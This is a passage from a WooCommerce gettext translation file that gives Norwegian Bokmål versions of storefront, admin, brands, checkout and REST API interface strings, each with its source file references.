msgid "Sorry, users with %1$s role cannot be deleted via this endpoint. Allowed roles: %2$s"
msgstr "Beklager, brukere med %1$s-rollen kan ikke slettes via dette endepunktet. Tillatte roller: %2$s"
#. translators: 1s: name of the property (email, role), 2: Role of the user
#. (administrator, customer).
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:232
msgid "Sorry, %1$s cannot be updated via this endpoint for a user with role %2$s."
msgstr "Beklager, %1$s kan ikke oppdateres via dette endepunktet for en bruker med rollen %2$s."
#: assets/client/blocks/product-filter-status/block.json
msgctxt "block description"
msgid "Let shoppers filter products by choosing stock status."
msgstr "La kundene filtrere produkter ved å velge lagerstatus."
#: assets/client/blocks/product-filter-removable-chips/block.json
msgctxt "block description"
msgid "Display removable active filters as chips."
msgstr "Vis aktive filtre som kan velges bort som filterknapper."
#: assets/client/blocks/product-filter-price/block.json
msgctxt "block description"
msgid "Let shoppers filter products by choosing a price range."
msgstr "La kundene filtrere produkter ved å velge en prisklasse."
#: assets/client/blocks/product-filter-price-slider/block.json
msgctxt "block description"
msgid "A slider helps shopper choose a price range."
msgstr "En glidebryter hjelper kunden med å velge prisklasse."
#: assets/client/blocks/product-filter-price-slider/block.json
msgctxt "block title"
msgid "Price Slider"
msgstr "Prisglidebryter"
#: assets/client/blocks/product-collection/block.json
msgctxt "block keyword"
msgid "by attribute"
msgstr "etter attributt"
#: assets/client/blocks/product-collection/block.json
msgctxt "block keyword"
msgid "by tag"
msgstr "etter stikkord"
#: assets/client/blocks/product-collection/block.json
msgctxt "block keyword"
msgid "all products"
msgstr "alle produktene"
#: assets/client/blocks/cart-link/block.json
msgctxt "block description"
msgid "Display a link to the cart."
msgstr "Vis en lenke til handlekurven."
#: assets/client/blocks/cart-link/block.json
msgctxt "block title"
msgid "Cart Link"
msgstr "Handlekurvlenke"
#: assets/client/admin/product-editor/blocks/generic/notice/block.json
#: assets/client/admin/product-editor/blocks/generic/product-notice-field/block.json
msgctxt "block description"
msgid "A notice field for use in the product editor."
msgstr "Et notatfelt for bruk i produktredigeringsverktøyet."
#: assets/client/admin/product-editor/blocks/generic/notice/block.json
#: assets/client/admin/product-editor/blocks/generic/product-notice-field/block.json
msgctxt "block title"
msgid "Product notice field"
msgstr "Produktnotatfelt"
#: templates/single-product/add-to-cart/variable.php:55
msgid "Clear options"
msgstr "Tøm alternativer"
#. translators: %1$s Action name, %2$s Order number.
#: templates/myaccount/orders.php:81
#: templates/order/order-details-fulfillments.php:168
#: templates/order/order-details.php:105
msgid "%1$s order number %2$s"
msgstr "%1$s ordrenummer %2$s"
#: templates/emails/block/customer-failed-order.php:49
#: templates/emails/customer-failed-order.php:48
#: templates/emails/plain/customer-failed-order.php:29
msgid "Your order details are as follows:"
msgstr "Ordredetaljene er som følger:"
#. translators: %s: Site title
#: templates/emails/block/customer-failed-order.php:44
#: templates/emails/customer-failed-order.php:47
#: templates/emails/plain/customer-failed-order.php:28
msgid "If you'd like to continue with your purchase, please return to %s and try a different method of payment."
msgstr "Hvis du ønsker å fortsette kjøpet kan du gå tilbake til %s og prøve en annen betalingsmåte."
#: templates/emails/block/customer-failed-order.php:38
#: templates/emails/customer-failed-order.php:45
#: templates/emails/plain/customer-failed-order.php:26
msgid "Unfortunately, we couldn't complete your order due to an issue with your payment method."
msgstr "Vi kunne dessverre ikke fullføre ordren på grunn av et problem med den valgte betalingsmåten."
#. translators: 1: product name 2: multiple of
#: src/StoreApi/Utilities/QuantityLimits.php:186
msgid "The quantity of "%1$s" must be a multiple of %2$s"
msgstr "Antallet for «%1$s» må være et multiplum av %2$s"
#. translators: 1: product name 2: maximum quantity
#: src/StoreApi/Utilities/QuantityLimits.php:181
msgid "The maximum quantity of "%1$s" allowed in the cart is %2$s"
msgstr "Maksimalt antall som er tillatt i handlekurven for «%1$s» er %2$s"
#. translators: 1: product name 2: minimum quantity
#: src/StoreApi/Utilities/QuantityLimits.php:176
msgid "The minimum quantity of "%1$s" allowed in the cart is %2$s"
msgstr "Minimum antall som er tillatt i handlekurven for «%1$s» er %2$s"
#. translators: 1: product name
#: src/StoreApi/Utilities/QuantityLimits.php:171
msgid "The quantity of "%1$s" cannot be changed"
msgstr "Antallet kan ikke endres for «%1$s»"
#: src/StoreApi/Utilities/CartController.php:553
msgid "Cannot place an order, your cart is empty."
msgstr "Kan ikke legge inn en ordre, handlekurven din er tom."
#: src/Internal/ReceiptRendering/ReceiptRenderingEngine.php:392
msgid "Success"
msgstr "Vellykket"
#: src/Internal/ReceiptRendering/ReceiptRenderingEngine.php:391
msgid "Payment status"
msgstr "Betalingsstatus"
#. translators: %1$s is the customer email, %2$s is the user agent that
#. requested the action.
#: src/Internal/Orders/OrderActionsRestController.php:559
msgid "Order details sent to %1$s, via %2$s."
msgstr "Ordredetaljer sendt til %1$s, via %2$s."
#: src/Internal/Orders/OrderActionsRestController.php:433
#: src/Internal/Orders/OrderActionsRestController.php:543
msgid "Order does not have an email address."
msgstr "Ordren inneholder ingen e-postadresse."
#: src/Internal/Admin/EmailPreview/EmailPreviewRestController.php:204
#: src/Internal/Admin/Emails/EmailListingRestController.php:118
#: src/Internal/Orders/OrderActionsRestController.php:232
msgid "A message indicating that the action completed successfully."
msgstr "En melding som angir at handlingen er fullført."
#: src/Internal/Orders/OrderActionsRestController.php:156
msgid "Email address to send the order details to."
msgstr "E-postadressen som ordreinformasjonen skal sendes til."
#: src/Internal/Features/FeaturesController.php:450
msgid "Email improvements"
msgstr "E-postforbedringer"
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:753
msgid "Enable compatibility mode (Synchronize orders between High-performance order storage and WordPress posts storage)."
msgstr "Slå på kompatibilitetsmodus (synkroniser ordrer mellom høyytelses ordrelagring og lagring av WordPress-innlegg)."
#: src/Internal/CostOfGoodsSold/CostOfGoodsSoldController.php:65
msgid "Cost of Goods Sold"
msgstr "Produktkostnad"
#: src/Internal/CostOfGoodsSold/CogsAwareRestControllerTrait.php:106
msgid "Total monetary value of the Cost of Goods Sold for the product (sum of all the effective values)."
msgstr "Total pengeverdi av produktkostnaden for produktet (summen av alle de effektive verdiene)."
#: src/Internal/CostOfGoodsSold/CogsAwareRestControllerTrait.php:90
msgid "Effective monetary cost value."
msgstr "Effektiv pengekostnadsverdi."
#: src/Internal/CostOfGoodsSold/CogsAwareRestControllerTrait.php:85
msgid "Defined cost value."
msgstr "Definert kostverdi."
#: src/Internal/CostOfGoodsSold/CogsAwareRestControllerTrait.php:78
msgid "Cost of Goods Sold values for the product."
msgstr "Produktkostnadverdiene for produktet."
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:522
msgid "Grow your business with Facebook and Instagram"
msgstr "Få virksomheten til å vokse med Facebook og Instagram"
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:202
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:524
msgid "Sync your store catalog, set up pixel tracking, and run targeted ad campaigns."
msgstr "Synkroniser produktene, sett opp pikselsporing og kjør målrettede annonsekampanjer."
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:201
msgid "Meta Ads & Pixel for WooCommerce"
msgstr "Meta Ads & Pixel for WooCommerce"
#: src/Blocks/Templates/ComingSoonTemplate.php:33
msgid "Let your shoppers know your site or part of your site is under construction."
msgstr "Informer kundene om at nettstedet eller deler av nettstedet er under oppbygging."
#: src/Blocks/BlockTypes/OrderConfirmation/CreateAccount.php:77
msgid "Track orders & view shopping history"
msgstr "Spor ordrer og se kjøpshistorikk"
#: src/Blocks/BlockTypes/CheckoutActionsBlock.php:44
msgid "Show Price"
msgstr "Vis pris"
#: src/Blocks/BlockTypes/CheckoutActionsBlock.php:35
msgid "Hide Price"
msgstr "Skjul pris"
#: src/Admin/Features/ProductDataViews/Init.php:84
msgid "All Products ( new )"
msgstr "Alle produkter (ny)"
#: includes/wc-template-functions.php:4398
msgid "Page"
msgstr "Side"
#. translators: 1: product name 2: image position
#: includes/wc-template-functions.php:1817
msgid "%1$s - Image %2$s"
msgstr "%1$s - Bilde %2$s"
#. translators: %s: order number
#: includes/wc-account-functions.php:319
msgid "Cancel order %s"
msgstr "Kanseller ordre %s"
#. translators: %s: order number
#: includes/wc-account-functions.php:313
msgid "View order %s"
msgstr "Se ordre %s"
#. translators: %s: order number
#: includes/wc-account-functions.php:307
msgid "Pay for order %s"
msgstr "Betal for ordre %s"
#: includes/rest-api/Controllers/Version3/class-wc-rest-orders-controller.php:431
#: src/RestApi/Routes/V4/Orders/Schema/OrderItemSchema.php:135
msgid "Value of the Cost of Goods Sold for the order item."
msgstr "Verdien av produktkostnaden for ordrelinjen."
#: includes/rest-api/Controllers/Version3/class-wc-rest-orders-controller.php:426
#: src/RestApi/Routes/V4/Orders/Schema/OrderItemSchema.php:130
msgid "Cost of Goods Sold data. Only present for product line items."
msgstr "Produktkostnaddata. Bare tilgjengelig for produktlinjer."
#: includes/rest-api/Controllers/Version3/class-wc-rest-orders-controller.php:417
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:548
msgid "Total value of the Cost of Goods Sold for the order."
msgstr "Total verdi av produktkostnaden for ordren."
#: includes/rest-api/Controllers/Version3/class-wc-rest-order-refunds-controller.php:169
#: includes/rest-api/Controllers/Version3/class-wc-rest-orders-controller.php:412
#: src/Internal/CostOfGoodsSold/CogsAwareRestControllerTrait.php:73
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:543
msgid "Cost of Goods Sold data."
msgstr "Produktkostnaddata."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:511
msgid "Is this theme a block theme?"
msgstr "Er dette temaet et blokktema?"
#: includes/emails/class-wc-email-customer-failed-order.php:96
#: templates/emails/block/customer-failed-order.php:27
msgid "Sorry, your order was unsuccessful"
msgstr "Beklager, ordren din mislyktes"
#: includes/emails/class-wc-email-customer-failed-order.php:86
msgid "Your order at {site_title} was unsuccessful"
msgstr "Ordren din på {site_title} mislyktes"
#: includes/emails/class-wc-email-customer-failed-order.php:50
msgid "Order failed emails are sent to customers when their orders are marked as failed."
msgstr "E-postmeldinger om mislykkede ordrer sendes til kunder når ordrene deres er merket som mislykkede."
#. translators: %1$s = class and method name.
#: includes/class-wc-order-item.php:518
msgid "Method %1$s is not implemented. Classes overriding has_cogs must override this method too."
msgstr "«%1$s»-metoden er ikke implementert. Klasser som overstyrer has_cogs, må også overstyre denne metoden."
#: includes/class-wc-frontend-scripts.php:727
msgid "Your selection has been reset. Please select some product options before adding this product to your cart."
msgstr "Valget ditt har blitt tilbakestilt. Velg noen produktalternativer før du legger dette produktet i handlekurven."
#: includes/class-wc-frontend-scripts.php:609
msgid "View full-screen image gallery"
msgstr "Se bildegalleri i fullskjerm"
#: includes/class-wc-brands.php:269
#: src/Blocks/Templates/ProductBrandTemplate.php:42
msgctxt "Template name"
msgid "Products by Brand"
msgstr "Produkter etter merke"
#: includes/admin/views/html-admin-page-status-report.php:1010
msgid "Classic theme"
msgstr "Klassisk tema"
#: includes/admin/views/html-admin-page-status-report.php:1008
msgid "Block theme"
msgstr "Blokktema"
#: includes/admin/views/html-admin-page-status-report.php:1004
msgid "Displays whether the current active theme is a block theme or a classic theme."
msgstr "Viser om det aktive temaet er et blokktema eller et klassisk tema."
#: includes/admin/views/html-admin-page-status-report.php:1003
msgid "Theme type"
msgstr "Tematype"
#: includes/admin/settings/class-wc-settings-accounts.php:335
msgid "Your store is using shortcode checkout. Use the Checkout blocks to activate this option."
msgstr "Butikken din bruker kortkodekasse. Bruk kasseblokkene for å aktivere dette alternativet."
#. Translators: %1$s and %2$s are opening and closing <a> tags respectively.
#: includes/admin/settings/class-wc-settings-accounts.php:329
msgid "This feature is only available with the Cart & Checkout blocks. %1$sLearn more%2$s."
msgstr "Denne funksjonen er bare tilgjengelig med handlekurv- og kasseblokkene. %1$sLær mer%2$s."
#: includes/admin/settings/class-wc-settings-accounts.php:129
#: includes/admin/settings/class-wc-settings-accounts.php:142
msgid "Enable an account creation method to use this feature."
msgstr "Slå på en kontoopprettingsmåte for å bruke denne funksjonen."
#: includes/admin/settings/class-wc-settings-accounts.php:96
msgid "Enable guest checkout to use this feature."
msgstr "Slå på gjestekasse for å bruke denne funksjonen."
#. Translators: %1$s and %2$s are opening and closing <a> tags respectively.
#: includes/admin/settings/class-wc-settings-accounts.php:86
msgid "Customers can create an account after their order is placed. Customize messaging %1$shere%2$s."
msgstr "Kunder kan opprette en konto etter at en ordre er lagt inn. Tilpass meldinger %1$sher%2$s."
#: includes/admin/settings/class-wc-settings-accounts.php:83
msgid "After checkout (recommended)"
msgstr "Etter kasse (anbefalt)"
#: assets/client/blocks/product-image/block.json
msgctxt "block title"
msgid "Product Image"
msgstr "Produktbilde"
#: assets/client/blocks/product-sale-badge/block.json
msgctxt "block description"
msgid "Displays an on-sale badge if the product is on-sale."
msgstr "Viser et «Tilbud»-merke dersom produktet er på tilbud."
#: assets/client/blocks/product-sale-badge/block.json
msgctxt "block title"
msgid "On-Sale Badge"
msgstr "Tilbudsmerke"
#: assets/client/blocks/product-price/block.json
msgctxt "block description"
msgid "Display the price of a product."
msgstr "Vis prisen på et produkt."
#: assets/client/blocks/product-image/block.json
msgctxt "block description"
msgid "Display the main product image."
msgstr "Vis hovedbildet for produktet."
#: assets/client/blocks/product-filter-chips/block.json
msgctxt "block description"
msgid "Display filter options as chips."
msgstr "Vis filtervalg som filterknapper."
#: assets/client/blocks/product-filter-chips/block.json
#: assets/client/blocks/product-filter-removable-chips/block.json
msgctxt "block title"
msgid "Chips"
msgstr "Filterknapper"
#: assets/client/blocks/product-filter-checkbox-list/block.json
msgctxt "block description"
msgid "Display a list of filter options."
msgstr "Vis en liste med filtervalg"
#: assets/client/blocks/product-filter-checkbox-list/block.json
msgctxt "block title"
msgid "List"
msgstr "Liste"
#: assets/client/blocks/order-confirmation-create-account/block.json
msgctxt "block title"
msgid "Account Creation"
msgstr "Kontoopprettelse"
#: src/Blocks/BlockTypes/OrderConfirmation/CreateAccount.php:74
#: assets/client/blocks/order-confirmation-create-account.js:3
msgid "Securely save payment info"
msgstr "Lagre betalingsinfo sikkert"
#: src/Blocks/BlockTypes/OrderConfirmation/CreateAccount.php:71
#: assets/client/blocks/order-confirmation-create-account.js:3
msgid "Faster future purchases"
msgstr "Raskere fremtidige kjøp"
#: templates/loop/orderby.php:27 assets/client/admin/chunks/1087.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
#: assets/client/blocks/catalog-sorting.js:1
msgid "Sort by"
msgstr "Sorter etter"
#: templates/brands/shortcodes/brands-a-z.php:55
msgid "↑ Top"
msgstr "↑ Topp"
#: src/Packages.php:280
msgid "This plugin can no longer be activated because its functionality is now included in <strong>WooCommerce</strong>. It is recommended to <strong>delete</strong> it."
msgstr "Denne utvidelsen kan ikke lenger aktiveres fordi dens funksjonaliteten nå er inkludert i <strong>WooCommerce</strong>. Det anbefales at den <strong>slettes</strong>."
#: src/Packages.php:240
msgid "Return to the Plugins page"
msgstr "Gå tilbake til utvidelsesiden"
#: src/Packages.php:237
msgid "Plugin Activation Error"
msgstr "Feil ved aktivering av utvidelse"
#: src/Packages.php:236
msgid "This plugin cannot be activated because its functionality is now included in WooCommerce core."
msgstr "Denne utvidelsen kan ikke aktiveres fordi dens funksjonalitet nå er inkludert i WooCommerce-kjernen."
#: src/Internal/Features/FeaturesController.php:378
msgid "Enable the site visibility badge in the WordPress admin bar"
msgstr "Slå på merke for nettstedsynlighet på verktøylinjen i WordPress"
#: src/Internal/Features/FeaturesController.php:377
msgid "Site visibility badge"
msgstr "Merke for nettstedsynlighet"
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:426
msgid "FTS index recreated."
msgstr "FTS-indeks gjenopprettet."
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:420
msgid "Failed to create FTS index on order address table. Please go to WooCommerce > Status > Tools and run the \"Re-create Order Address FTS index\" tool."
msgstr "Kunne ikke opprette FTS-indeks på ordreadressetabellen. Gå til \"WooCommerce > Status > Verktøy\" og kjør verktøyet \"Opprett FTS-indeks for ordreadresse på nytt\"."
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:410
msgid "Failed to modify existing FTS index. Please go to WooCommerce > Status > Tools and run the \"Re-create Order Address FTS index\" tool."
msgstr "Kunne ikke endre eksisterende FTS-indeks. Gå til \"WooCommerce > Status > Verktøy\" og kjør verktøyet \"Gjenopprett FTS-indeks for ordreadresse\"."
#: src/Blocks/BlockTypes/ProductSKU.php:98
msgid "SKU: "
msgstr "Produktnr: "
#: src/Blocks/BlockTypes/OrderConfirmation/Summary.php:36
msgid "Payment:"
msgstr "Betaling:"
#: src/Blocks/BlockTypes/OrderConfirmation/Summary.php:32
msgid "Order #:"
msgstr "Ordre nr.:"
#. translators: 1: link to my account page, 2: link to shipping and billing
#. addresses, 3: link to account details, 4: closing tag
#: src/Blocks/BlockTypes/OrderConfirmation/CreateAccount.php:251
msgid "You can now %1$sview your recent orders%4$s, manage your %2$sshipping and billing addresses%4$s, and edit your %3$spassword and account details%4$s."
msgstr "Du kan nå %1$sse dine siste ordrer%4$s, administrere dine %2$sleverings- og fakturaaddresser%4$s, samt redigere dine %3$spassord- og kontodetaljer%4$s."
#: src/Blocks/BlockTypes/OrderConfirmation/CreateAccount.php:248
msgid "Your account has been successfully created"
msgstr "Kontoen er opprettet"
#: src/Blocks/BlockTypes/OrderConfirmation/CreateAccount.php:150
msgid "Password must be at least 8 characters."
msgstr "Passordet må være på minst 8 tegn."
#: src/Blocks/BlockTypes/OrderConfirmation/CreateAccount.php:139
msgid "The email address provided does not match the email address on this order."
msgstr "Den oppgitt e-postadressen samsvarer ikke med e-postadressen på denne ordren."
#: src/Blocks/BlockTypes/OrderConfirmation/CreateAccount.php:134
msgid "This order is already linked to a user account."
msgstr "Denne ordren er allerede koblet til en brukerkonto."
#: src/Blocks/BlockTypes/OrderConfirmation/CreateAccount.php:127
msgid "Unable to create account. Please try again."
msgstr "Kan ikke opprette konto. Forsøk på nytt senere."
#. translators: 1) total expired subscriptions
#: src/Admin/PluginsHelper.php:1075
msgid "You don't have subscriptions for <strong>%1$s Woo extensions</strong>. Subscribe to receive updates and streamlined support."
msgstr "Du har ikke abonnement for <strong>%1$s Woo-utvidelser</strong>. Abonner for å motta oppdateringer og strømlinjeformet støtte."
#. translators: 1) product name
#: src/Admin/PluginsHelper.php:1073
msgid "You don't have a subscription for <strong>%1$s</strong>. Subscribe to receive updates and streamlined support."
msgstr "Du har ikke noe abonnement for <strong>%1$s</strong>. Abonner for å motta oppdateringer og strømlinjeformet støtte."
#: includes/widgets/class-wc-widget-brand-thumbnails.php:227
msgid "Order by:"
msgstr "Sorter etter:"
#: includes/widgets/class-wc-widget-brand-thumbnails.php:219
msgid "Hide empty brands:"
msgstr "Skjul tomme merker:"
#: includes/widgets/class-wc-widget-brand-thumbnails.php:214
msgid "Exclude:"
msgstr "Ekskluder:"
#: includes/widgets/class-wc-widget-brand-thumbnails.php:209
msgid "Number:"
msgstr "Antall:"
#: includes/widgets/class-wc-widget-brand-thumbnails.php:204
msgid "Fluid columns:"
msgstr "Flytende kolonner:"
#: includes/widgets/class-wc-widget-brand-thumbnails.php:50
msgid "Show a grid of brand thumbnails."
msgstr "Vis et rutenett med miniatyrbilder for merker."
#: includes/widgets/class-wc-widget-brand-thumbnails.php:49
msgid "WooCommerce Brand Thumbnails"
msgstr "Merkebilder"
#: includes/widgets/class-wc-widget-brand-nav.php:321
msgid "Any Brand"
msgstr "Ethvert merke"
#: includes/widgets/class-wc-widget-brand-nav.php:201
msgid "Display Type:"
msgstr "Visningstype:"
#: includes/widgets/class-wc-widget-brand-nav.php:26
msgid "WooCommerce Brand Layered Nav"
msgstr "Lagdelt navigasjon for merker"
#: includes/widgets/class-wc-widget-brand-nav.php:24
msgid "Shows brands in a widget which lets you narrow down the list of products when viewing products."
msgstr "Viser merker i en widget som lar deg begrense produktlisten når du ser på produkter."
#: includes/widgets/class-wc-widget-brand-description.php:125
#: includes/widgets/class-wc-widget-brand-nav.php:197
#: includes/widgets/class-wc-widget-brand-thumbnails.php:194
msgid "Title:"
msgstr "Tittel:"
#: includes/widgets/class-wc-widget-brand-description.php:50
msgid "When viewing a brand archive, show the current brands description."
msgstr "Ved visning av et merkearkiv, vis gjeldende merkebeskrivelse."
#: includes/widgets/class-wc-widget-brand-description.php:49
msgid "WooCommerce Brand Description"
msgstr "Beskrivelse av merke"
#: includes/wc-template-functions.php:1577
msgid "Sorted by price: high to low"
msgstr "Sortet etter pris: Høy til lav"
#: includes/wc-template-functions.php:1576
msgid "Sorted by price: low to high"
msgstr "Sortert etter pris: Lav til høy"
#: includes/wc-template-functions.php:1575
msgid "Sorted by latest"
msgstr "Sortert etter siste"
#: includes/wc-template-functions.php:1574
msgid "Sorted by average rating"
msgstr "Sortert etter gjennomsnitlig vurdering"
#: includes/wc-template-functions.php:1573
msgid "Sorted by popularity"
msgstr "Sortert etter propularitet"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:415
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:458
msgid "Whether the plugin can only be activated network-wide."
msgstr "Om utvidelsen bare kan aktiveres for hele nettverket."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:411
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:454
msgid "Plugin author URL."
msgstr "Utvidelseforfatters nettadresse."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:407
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:450
msgid "Plugin author name."
msgstr "Utvidelseforfatters navn."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:403
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:446
msgid "Plugin URL."
msgstr "Utvidelsens nettadresse."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:399
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:442
msgid "Latest available plugin version."
msgstr "Siste tilgjengelige versjon av utvidelsen."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:395
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:438
msgid "Current plugin version."
msgstr "Gjeldende versjon av utvidelsen."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:391
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:434
msgid "Name of the plugin."
msgstr "Navnet på utvidelsen."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:387
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:430
msgid "Plugin basename. The path to the main plugin file relative to the plugins directory."
msgstr "Utvidelsens basenavn. Stien til utvidelsens hovedfil i forhold til utvidelsemappen."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:231
msgid "This tool will recreate the full text search index for order addresses. If the index does not exist, it will try to create it."
msgstr "Dette verktøyet gjenoppretter fulltekstsøkeindeksen for ordreadresser. Hvis indeksen ikke finnes vil den prøve å opprette den."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:230
msgid "Recreate index"
msgstr "Gjenopprett indeks"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:229
msgid "Re-create Order Address FTS index"
msgstr "Gjenopprett FTS-indeks for ordreadresse"
#: includes/class-wc-brands.php:1050
msgid "Create new brand"
msgstr "Opprett nytt merke"
#: includes/class-wc-brands.php:922
msgid "Limit result set to products assigned a specific brand ID."
msgstr "Begrens resultatsettet til produkter som er tilordnet en bestemt merke-id."
#. translators: %s - Label name
#: includes/class-wc-brands.php:399
msgid "%s: "
msgid_plural "%s: "
msgstr[0] "%s: "
msgstr[1] "%s: "
#: includes/class-wc-brands.php:280
msgid "← Go to Brands"
msgstr "← Gå til merker"
#: includes/class-wc-brands.php:278
msgid "No Brands Found"
msgstr "Ingen merker funnet"
#: includes/class-wc-brands.php:277
msgid "New Brand Name"
msgstr "Nytt merke"
#: includes/class-wc-brands.php:276
msgid "Add New Brand"
msgstr "Legg til nytt merke"
#: includes/class-wc-brands.php:275
msgid "Update Brand"
msgstr "Oppdater merke"
#: includes/class-wc-brands.php:274
msgid "Edit Brand"
msgstr "Rediger merke"
#: includes/class-wc-brands.php:273
msgid "Parent Brand:"
msgstr "Overordnet merke:"
#: includes/class-wc-brands.php:272
msgid "Parent Brand"
msgstr "Overordnet merke"
#: includes/class-wc-brands.php:271
msgid "All Brands"
msgstr "Alle merker"
#: includes/class-wc-brands.php:270
msgid "Search Brands"
msgstr "Søk merker"
#: includes/class-wc-brands.php:268
msgid "Brand"
msgstr "Merke"
#: includes/class-wc-brands.php:240 includes/class-wc-brands.php:247
msgid "brand"
msgstr "merke"
#: includes/class-wc-brands-coupons.php:79
#: includes/class-wc-brands-coupons.php:84
#: includes/class-wc-brands-coupons.php:138
msgid "Sorry, this coupon is not applicable to the brands of selected products."
msgstr "Beklager, denne rabattkoden kan ikke brukes for de valgte produktenes merker."
#: includes/admin/meta-boxes/views/html-product-attribute-inner.php:23
msgid "e.g. length or weight"
msgstr "f.eks. lengde eller høyde"
#. translators: 1: URL to My Subscriptions page
#: includes/admin/helper/class-wc-helper-updater.php:386
msgid " You don't have a subscription, <a href=\"%1$s\" class=\"woocommerce-purchase-subscription\">subscribe</a> to update."
msgstr " Du har ikke et abonnement, <a href=\"%1$s\" class=\"woocommerce-purchase-subscription\">abonner</a> for å oppdatere."
#: includes/admin/class-wc-admin-brands.php:636
msgctxt "slug"
msgid "brand"
msgstr "merke"
#: includes/admin/class-wc-admin-brands.php:621
msgid "Product brand base"
msgstr "Base for produktmerker"
#: includes/admin/class-wc-admin-brands.php:586
#: includes/admin/class-wc-admin-brands.php:600
msgid "Filter by brand"
msgstr "Filtrer etter merke"
#: includes/admin/class-wc-admin-brands.php:482
msgid "Brands can be added and managed from this screen. You can optionally upload a brand image to display in brand widgets and on brand archives"
msgstr "Merker legges til og administreres fra denne siden. Du kan eventuelt laste opp et merkebilde som skal vises i merkewidgeter og -arkiver."
#: includes/admin/class-wc-admin-brands.php:236
msgid "Choose to show the brand description on the archive page. Turn this off if you intend to use the description widget instead. Please note: this is only for themes that do not show the description."
msgstr "Velg å vise merkebeskrivelsen på arkivsiden. Slå av dette hvis du har tenkt å bruke beskrivelseswidgeten i stedet. Merk: Dette gjelder bare for temaer som ikke viser beskrivelsen."
#: includes/admin/class-wc-admin-brands.php:229
msgid "Brands Archives"
msgstr "Merkearkiver"
#: includes/admin/class-wc-admin-brands.php:191
msgid "Product must not be associated with these brands for the coupon to remain valid or, for \"Product Discounts\", products associated with these brands will not be discounted."
msgstr "Produktet må ikke være assosiert med disse merkene for at rabattkodene skal være gyldig, eller; for \"Produktrabatter\" vil ikke produkter assosiert med disse merkene bli rabattert."
#: includes/admin/class-wc-admin-brands.php:172
#: includes/class-wc-brands.php:279
msgid "No brands"
msgstr "Ingen merker"
#: includes/admin/class-wc-admin-brands.php:171
msgid "Exclude brands"
msgstr "Utelukk merker"
#: includes/admin/class-wc-admin-brands.php:168
msgid "A product must be associated with this brand for the coupon to remain valid or, for \"Product Discounts\", products with these brands will be discounted."
msgstr "Et produkt må være knyttet til dette merket for at rabattkoden skal være gyldig, eller; for \"Produktrabatter\" vil produkter med disse merkene bli rabattert."
#: includes/admin/class-wc-admin-brands.php:149
msgid "Any brand"
msgstr "Ethvert merke"
#: includes/admin/class-wc-admin-brands.php:148
msgid "Product brands"
msgstr "Produktmerker"
#: includes/admin/class-wc-admin-brands.php:75
#: includes/admin/class-wc-admin-brands.php:678
#: includes/admin/class-wc-admin-brands.php:689
#: includes/class-wc-brands.php:265 includes/class-wc-brands.php:267
#: includes/class-wc-brands.php:1049
#: includes/widgets/class-wc-widget-brand-nav.php:173
msgid "Brands"
msgstr "Merker"
#: src/Internal/Admin/EmailPreview/EmailPreview.php:479
#: assets/client/blocks/add-to-cart-with-options-variation-selector-attribute.js:1
#: assets/client/blocks/add-to-cart-with-options-variation-selector.js:1
#: assets/client/blocks/product-filter-active.js:1
#: assets/client/blocks/product-filter-attribute.js:1
msgid "Red"
msgstr "Rød"
#: src/Blocks/BlockTypes/ProductFilterCheckboxList.php:129
#: src/Blocks/BlockTypes/ProductFilterChips.php:118
#: assets/client/blocks/product-filter-checkbox-list.js:1
#: assets/client/blocks/product-filter-chips.js:1
msgid "Show more…"
msgstr "Vis mer ..."
#: templates/loop/pagination.php:31
msgid "Product Pagination"
msgstr "Produktnavigasjon"
#. translators: %s is the product name
#: templates/cart/mini-cart.php:58
msgid "“%s” has been removed from your cart"
msgstr "«%s» ble fjernet fra handlekurven"
#. translators: %s: is the field error message
#: src/StoreApi/Routes/V1/Checkout.php:276
msgid "There was a problem with the provided shipping address: %s"
msgstr "Det er et problem med den angitte leveringsadressen: %s"
#. translators: %s: is the field error message
#: src/StoreApi/Routes/V1/Checkout.php:279
msgid "There was a problem with the provided billing address: %s"
msgstr "Det er et problem med den angitte fakturaadressen: %s"
#: src/Internal/ComingSoon/ComingSoonAdminBarBadge.php:53
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
msgid "Coming soon"
msgstr "Kommer snart"
#: src/Internal/Admin/WCPayPromotion/DefaultPromotions.php:41
msgid "Payments made simple, with no monthly fees – designed exclusively for WooCommerce stores. Accept credit cards, debit cards, and other popular payment methods."
